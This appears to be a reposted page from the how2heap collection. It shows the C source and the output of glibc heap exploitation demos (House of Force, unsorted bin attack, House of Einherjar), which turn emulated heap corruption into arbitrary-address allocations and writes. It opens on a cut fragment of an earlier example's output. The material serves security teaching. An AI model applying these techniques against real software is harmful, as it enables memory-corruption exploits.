444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q 39 40 And if we then memset(p3, ‘3‘, 80), we have: 41 p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q 42 p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q
9 house_of_force
1 /* 2 3 This PoC works also with ASLR enabled. 4 It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. 5 If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 6 ( http://phrack.org/issues/66/10.html ) 7 8 Tested in Ubuntu 14.04, 64bit. 9 10 */ 11 12 13 #include <stdio.h> 14 #include <stdint.h> 15 #include <stdlib.h> 16 #include <string.h> 17 #include <stdint.h> 18 #include <malloc.h> 19 20 char bss_var[] = "This is a string that we want to overwrite."; 21 22 int main(int argc , char* argv[]) 23 { 24 printf("\nWelcome to the House of Force\n\n"); 25 printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); 26 printf("The top chunk is a special chunk. Is the last in memory " 27 "and is the chunk that will be resized when malloc asks for more space from the os.\n"); 28 29 printf("\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); 30 printf("Its current value is: %s\n", bss_var); 31 32 33 34 printf("\nLet‘s allocate the first chunk, taking space from the wilderness.\n"); 35 intptr_t *p1 = malloc(256); 36 printf("The chunk of 256 bytes has been allocated at %p.\n", p1); 37 38 printf("\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); 39 int real_size = malloc_usable_size(p1); 40 printf("Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size); 41 42 printf("\nNow let‘s emulate a vulnerability that can overwrite the header of the Top Chunk\n"); 43 44 //----- VULNERABILITY ---- 45 intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); 46 printf("\nThe top chunk starts at %p\n", ptr_top); 47 48 printf("\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); 49 printf("Old size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); 50 ptr_top[0] = -1; 51 printf("New size of top chunk %#llx\n", *((unsigned long long int *)ptr_top)); 52 //------------------------ 53 54 printf("\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" 55 "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" 56 "overflow) and will then be able to allocate a chunk right over the desired region.\n"); 57 58 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; 59 printf("\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" 60 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); 61 void *new_ptr = malloc(evil_size); 62 printf("As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); 63 64 void* ctr_chunk = malloc(100); 65 printf("\nNow, the next chunk we overwrite will point at our target buffer.\n"); 66 printf("malloc(100) => %p!\n", ctr_chunk); 67 printf("Now, we can finally overwrite that value:\n"); 68 69 printf("... old string: %s\n", bss_var); 70 printf("... doing strcpy overwrite with \"YEAH!!!\"...\n"); 71 strcpy(ctr_chunk, "YEAH!!!"); 72 printf("... new string: %s\n", bss_var); 73 74 75 // some further discussion: 76 //printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); 77 //printf("This because the main_arena->top pointer is setted to current av->top + malloc_size " 78 // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); 79 //printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); 80 //printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); 81 //printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," 82 // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); 83 84 //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2); 85 //printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); 86 87 //printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); 88 }
1 Welcome to the House of Force 2 3 The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value. 4 The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os. 5 6 In the end, we will use this to overwrite a variable at 0x602060. 7 Its current value is: This is a string that we want to overwrite. 8 9 Let‘s allocate the first chunk, taking space from the wilderness. 10 The chunk of 256 bytes has been allocated at 0x1080420. 11 12 Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness. 13 Real size (aligned and all that jazz) of our allocated chunk is 264. 14 15 Now let‘s emulate a vulnerability that can overwrite the header of the Top Chunk 16 17 The top chunk starts at 0x1080528 18 19 Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap. 20 Old size of top chunk 0x20ae1 21 New size of top chunk 0xffffffffffffffff 22 23 The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap. 24 Next, we will allocate a chunk that will get us right up against the desired region (with an integer 25 overflow) and will then be able to allocate a chunk right over the desired region. 26 27 The value we want to write to at 0x602060, and the top chunk is at 0x1080528, so accounting for the header size, 28 we will malloc 0xffffffffff581b28 bytes. 29 As expected, the new pointer is at the same place as the old top chunk: 0x1080530 30 31 Now, the next chunk we overwrite will point at our target buffer. 32 malloc(100) => 0x602060! 33 Now, we can finally overwrite that value: 34 ... old string: This is a string that we want to overwrite. 35 ... doing strcpy overwrite with "YEAH!!!"... 36 ... new string: YEAH!!!
10 unsorted_bin_attack
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main(){ 5 printf("This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); 6 printf("In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " 7 "global variable global_max_fast in libc for further fastbin attack\n\n"); 8 9 unsigned long stack_var=0; 10 printf("Let‘s first look at the target we want to rewrite on stack:\n"); 11 printf("%p: %ld\n\n", &stack_var, stack_var); 12 13 unsigned long *p=malloc(400); 14 printf("Now, we allocate first normal chunk on the heap at: %p\n",p); 15 printf("And allocate another normal chunk in order to avoid consolidating the top chunk with" 16 "the first one during the free()\n\n"); 17 malloc(500); 18 19 free(p); 20 printf("We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " 21 "point to %p\n",(void*)p[1]); 22 23 //------------VULNERABILITY----------- 24 25 p[1]=(unsigned long)(&stack_var-2); 26 printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 27 printf("And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); 28 29 //------------------------------------ 30 31 malloc(400); 32 printf("Let‘s malloc again to get the chunk we just free. During this time, target should has already been " 33 "rewrite:\n"); 34 printf("%p: %p\n", &stack_var, (void*)stack_var); 35 }
1 This file demonstrates unsorted bin attack by write a large unsigned long value into stack 2 In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack 3 4 Let‘s first look at the target we want to rewrite on stack: 5 0x7ffdfbf07668: 0 6 7 Now, we allocate first normal chunk on the heap at: 0x18cd420 8 And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free() 9 10 We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7fca08420b78 11 Now emulating a vulnerability that can overwrite the victim->bk pointer 12 And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffdfbf07658 13 14 Let‘s malloc again to get the chunk we just free. During this time, target should has already been rewrite: 15 0x7ffdfbf07668: 0x7fca08420b78
11 house_of_einherjar
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 #include <stdint.h> 5 #include <malloc.h> 6 7 /* 8 Credit to st4g3r for publishing this technique 9 The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() 10 This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 11 */ 12 13 int main() 14 { 15 printf("Welcome to House of Einherjar!\n"); 16 printf("Tested in Ubuntu 16.04 64bit.\n"); 17 printf("This technique can be used when you have an off-by-one into a malloc‘ed region with a null byte.\n"); 18 19 uint8_t* a; 20 uint8_t* b; 21 uint8_t* c; 22 uint8_t* d; 23 24 printf("\nWe allocate 0x38 bytes for ‘a‘\n"); 25 a = (uint8_t*) malloc(0x38); 26 printf("a: %p\n", a); 27 28 int real_a_size = malloc_usable_size(a); 29 printf("Since we want to overflow ‘a‘, we need the ‘real‘ size of ‘a‘ after rounding: %#x\n", real_a_size); 30 31 // create a fake chunk 32 printf("\nWe create a fake chunk wherever we want, in this case we‘ll create the chunk on the stack\n"); 33 printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); 34 printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); 35 printf("(although we could do the unsafe unlink technique here in some scenarios)\n"); 36 37 size_t fake_chunk[6]; 38 39 fake_chunk[0] = 0x41414141; // prev_size not used 40 fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin 41 fake_chunk[2] = (size_t) fake_chunk; // fwd 42 fake_chunk[3] = (size_t) fake_chunk; // bck 43 44 printf("Our fake chunk at %p looks like:\n", fake_chunk); 45 printf("prev_size (not used): %#lx\n", fake_chunk[0]); 46 printf("size: %#lx\n", fake_chunk[1]); 47 printf("fwd: %#lx\n", fake_chunk[2]); 48 printf("bck: %#lx\n", fake_chunk[3]); 49 50 /* In this case it is easier if the chunk size attribute has a least significant byte with 51 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 52 * the chunk includes the amount requested plus some amount required for the metadata. */ 53 b = (uint8_t*) malloc(0xf8); 54 int real_b_size = malloc_usable_size(b); 55 56 printf("\nWe allocate 0xf8 bytes for ‘b‘.\n"); 57 printf("b: %p\n", b); 58 59 printf("We allocate a 3rd chunk to make sure we don‘t touch the wilderness (not necessary)\n"); 60 c = malloc(0x60); 61 printf("c: %p\n", c); 62 63 uint64_t* b_size_ptr = (uint64_t*)(b - 8); 64 /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/ 65 66 printf("\nb.size: %#lx\n", *b_size_ptr); 67 printf("b.size is: (0x100) | prev_inuse = 0x101\n"); 68 printf("We overflow ‘a‘ with a single null byte into the metadata of ‘b‘\n"); 69 a[real_a_size] = 0; 70 printf("b.size: %#lx\n", *b_size_ptr); 71 printf("This is easiest if b.size is a multiple of 0x100 so you " 72 "don‘t change the size of b, only its prev_inuse bit\n"); 73 printf("If it had been modified, we would need a fake chunk inside " 74 "b where it will try to consolidate the next chunk\n"); 75 76 // Write a fake prev_size to the end of a 77 printf("\nWe write a fake prev_size to the last %lu bytes of a so that " 78 "it will consolidate with our fake chunk\n", sizeof(size_t)); 79 size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); 80 printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); 81 *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; 82 83 // free b and it will consolidate with our fake chunk 84 printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); 85 free(b); 86 printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); 87 printf("We edit our fake chunk size so that it is small enough to pass size checks\n"); 88 printf("This wouldn‘t be necessary if our fake chunk was the top chunk (if we hadn‘t allocated c)\n"); 89 90 fake_chunk[1] = 0x1000; 91 printf("New fake_chunk size: %#lx\n", fake_chunk[1]); 92 93 printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); 94 d = malloc(0x200); 95 printf("Next malloc(0x200) is at %p\n", d); 96 }
1 Welcome to House of Einherjar! 2 Tested in Ubuntu 16.04 64bit. 3 This technique can be used when you have an off-by-one into a malloc‘ed region with a null byte. 4 5 We allocate 0x38 bytes for ‘a‘ 6 a: 0x8f3420 7 Since we want to overflow ‘a‘, we need the ‘real‘ size of ‘a‘ after rounding: 0x38 8 9 We create a fake chunk wherever we want, in this case we‘ll create the chunk on the stack 10 However, you can also create the chunk in the heap or the bss, as long as you know its address 11 We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks 12 (although we could do the unsafe unlink technique here in some scenarios) 13 Our fake chunk at 0x7fff290b69b0 looks like: 14 prev_size (not used): 0x41414141 15 size: 0x100 16 fwd: 0x7fff290b69b0 17 bck: 0x7fff290b69b0 18 19 We allocate 0xf8 bytes for ‘b‘. 20 b: 0x8f3460 21 We allocate a 3rd chunk to make sure we don‘t touch the wilderness (not necessary) 22 c: 0x8f3560 23 24 b.size: 0x101 25 b.size is: (0x100) | prev_inuse = 0x101 26 We overflow ‘a‘ with a single null byte into the metadata of ‘b‘ 27 b.size: 0x100 28 This is easiest if b.size is a multiple of 0x100 so you don‘t change the size of b, only its prev_inuse bit 29 If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk 30 31 We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk 32 Our fake prev_size will be 0x8f3450 - 0x7fff290b69b0 = 0xffff8000d783caa0 33 Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set 34 Our fake chunk size is now 0xffff8000d783cba1 (b.size + fake_prev_size) 35 We edit our fake chunk size so that it is small enough to pass size checks 36 This wouldn‘t be necessary if our fake chunk was the top chunk (if we hadn‘t allocated c) 37 New fake_chunk size: 0x1000 38 39 Now we can call malloc() and it will begin in our fake chunk 40 Next malloc(0x200) is at 0x7fff290b69c0
以上是关于how2heap 源码及输出的主要内容,如果未能解决你的问题,请参考以下文章